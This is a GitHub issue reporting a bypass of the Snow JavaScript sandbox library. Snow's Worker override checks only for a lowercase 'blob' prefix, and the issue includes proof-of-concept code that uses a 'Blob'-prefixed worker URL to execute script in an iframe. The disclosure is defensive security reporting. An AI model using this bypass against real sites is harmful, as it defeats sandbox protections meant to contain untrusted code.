Skip to content

Snow can be bypassed by creating a Blob URI inside a worker #158

@matanber

Description

@matanber

In order to prevent Blob URIs from being created within workers, snow overrides the Worker constructor using the following code:

const native = win.Worker;
win.Worker = function Worker(aURL, options) {
  const url = typeof aURL === 'string' ? aURL : toString(aURL);
  if (stringStartsWith(url, 'blob')) {
    return new native(swap(url), options);
  }
  return new native(url, options);
};
// [...]
function swap(url) {
  if (!blobs.has(url)) {
    const content = syncGet(url);
    const prefix = `(function() { Object.defineProperty(URL, 'createObjectURL', { value: () => { throw new Error(\`${BLOCKED_BLOB_MSG}\`) }}) }())`;
    const js = prefix + '\n\n' + content;
    blobs.set(url, createObjectURL(new Blob([js], {
      type: 'text/javascript'
    })));
  }
  return blobs.get(url);
}

This code overrides the URL.createObjectURL function in every worker that is created from a URL that begins with 'blob'. Because URI schemes are case-insensitive, this can be bypassed simply by creating a worker with a URL that begins with 'Blob'. Here is a little demo for that:

blob = new Blob([`
    console.log(URL.createObjectURL(new Blob(["test"])))
`], {type: "text/javascript"})
u = URL.createObjectURL(blob)
u = "B" + u.substring(1)
const w = new Worker(u)

Building on top of arxenix's brilliant bypass in issue #43, this can be used to bypass Snow using the following PoC:

blob = new Blob([`
    js_url = URL.createObjectURL(new Blob([\`
        alert(origin)
    \`], {type: "text/javascript"}))
    postMessage(URL.createObjectURL(new Blob(['<script src="'+js_url+'"></script>'], {type: "text/html"})))
`], {type: "text/javascript"})
u = URL.createObjectURL(blob)
u = "B" + u.substring(1)
w = new Worker(u)
w.onmessage = (msg) => {
    console.log(msg);
    f = document.createElement("iframe");
    document.body.appendChild(f)
    f.src = msg.data;
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions